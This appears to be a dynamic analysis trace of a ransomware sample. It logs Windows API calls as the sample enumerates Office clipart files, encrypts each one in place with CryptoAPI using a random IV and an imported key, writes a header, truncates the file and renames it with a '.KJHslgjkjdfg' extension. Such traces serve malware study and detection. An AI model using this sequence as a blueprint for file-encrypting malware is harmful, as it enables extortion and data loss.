out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc18a400, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc18a400, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0181.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.420] GetProcessHeap () returned 0x990000 [0181.420] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.420] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.420] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0181.425] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.425] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.426] GetProcessHeap () returned 0x990000 [0181.426] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.426] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.426] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.426] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.426] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.426] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.426] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.426] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.426] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.426] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.427] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd32, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd32, lpOverlapped=0x0) returned 1 [0181.427] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd40, dwBufLen=0xd40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd40) returned 1 [0181.427] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.427] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd40, lpOverlapped=0x0) returned 1 [0181.427] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.427] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.427] SetEndOfFile (hFile=0x130) returned 1 [0181.430] GetProcessHeap () returned 0x990000 [0181.430] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.430] GetProcessHeap () returned 0x990000 [0181.430] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.430] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.kjhslgjkjdfg")) returned 1 [0181.434] CloseHandle (hObject=0x130) returned 1 [0181.434] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e3cb900, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e3cb900, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0181.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.436] GetProcessHeap () returned 0x990000 [0181.436] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.436] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.436] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.436] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.436] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.436] GetProcessHeap () returned 0x990000 [0181.436] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.436] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.436] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.436] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.438] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.438] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.438] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.438] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.438] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.438] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.438] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc30, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc30, lpOverlapped=0x0) returned 1 [0181.439] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc30, dwBufLen=0xc30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc30) returned 1 [0181.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.439] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc30, lpOverlapped=0x0) returned 1 [0181.439] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.439] SetEndOfFile (hFile=0x130) returned 1 [0181.441] GetProcessHeap () returned 0x990000 [0181.441] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.441] GetProcessHeap () returned 0x990000 [0181.441] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.kjhslgjkjdfg")) returned 1 [0181.443] CloseHandle (hObject=0x130) returned 1 [0181.443] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5f2300, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a5f2300, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0181.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.445] GetProcessHeap () returned 0x990000 [0181.445] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.445] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.445] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0181.447] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.447] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.447] GetProcessHeap () returned 0x990000 [0181.447] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.447] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.447] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.447] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.447] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.447] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.447] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.447] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.447] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.447] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.447] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbd2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xbd2, lpOverlapped=0x0) returned 1 [0181.447] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbe0, dwBufLen=0xbe0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbe0) returned 1 [0181.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.448] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xbe0, lpOverlapped=0x0) returned 1 [0181.448] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.448] SetEndOfFile (hFile=0x130) returned 1 [0181.450] GetProcessHeap () returned 0x990000 [0181.450] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.450] GetProcessHeap () returned 0x990000 [0181.450] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.450] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.kjhslgjkjdfg")) returned 1 [0181.452] CloseHandle (hObject=0x130) returned 1 [0181.452] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1c4f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab1c4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0181.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.453] GetProcessHeap () returned 0x990000 [0181.453] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.453] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.453] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.453] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0181.455] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.455] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.455] GetProcessHeap () returned 0x990000 [0181.455] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.455] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.455] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.456] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.456] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.456] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.456] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.456] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.456] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.456] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.456] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x127e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x127e, lpOverlapped=0x0) returned 1 [0181.457] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1280, dwBufLen=0x1280 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1280) returned 1 [0181.457] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.457] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1280, lpOverlapped=0x0) returned 1 [0181.457] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.457] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.457] SetEndOfFile (hFile=0x130) returned 1 [0181.459] GetProcessHeap () returned 0x990000 [0181.460] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.460] GetProcessHeap () returned 0x990000 [0181.460] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.460] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.kjhslgjkjdfg")) returned 1 [0181.464] CloseHandle (hObject=0x130) returned 1 [0181.464] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e812b00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e812b00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0181.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.465] GetProcessHeap () returned 0x990000 [0181.465] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.465] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.465] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.465] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0181.468] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.468] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.468] GetProcessHeap () returned 0x990000 